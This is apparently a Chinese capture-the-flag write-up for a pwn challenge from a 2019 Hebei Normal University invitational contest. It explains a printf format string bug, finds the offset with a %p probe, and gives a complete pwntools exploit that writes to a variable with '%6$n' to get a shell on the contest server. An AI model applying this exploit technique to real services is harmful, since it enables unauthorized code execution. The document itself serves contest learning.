【19河北师大邀请赛】Pwn-窝窝头
1.首先拖入IDA,找到main函数,F5反汇编

2.程序的逻辑很简单,先打印v5的地址,接受输入。令v5=4即可getshell
注意这两行:
__isoc99_scanf("%s", &format);
printf(&format); 明显的格式化字符串漏洞。
3.运行程序,可以看到v5的地址是每次都在变的。但是可以获得

4.获取偏移量,输入
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
观察回显结果:

故偏移量为6
5.exp如下:
from pwn import *
#wowotou
r= remote('183.129.189.60','10020')
a = r.recvline()#接受v5地址并转成int型
aa = eval(a)
#v5地址需要经过32位编码转换,故为4位。
#要求v5=4,故不需要补字直接跟偏移量即可
payload = p32(aa) + '%6$n'
r.recvuntil("How much is a sorghum?")
r.sendline(payload)
r.interactive()
运行,成功获取flag

曼迪匹艾公司福利 121人发布
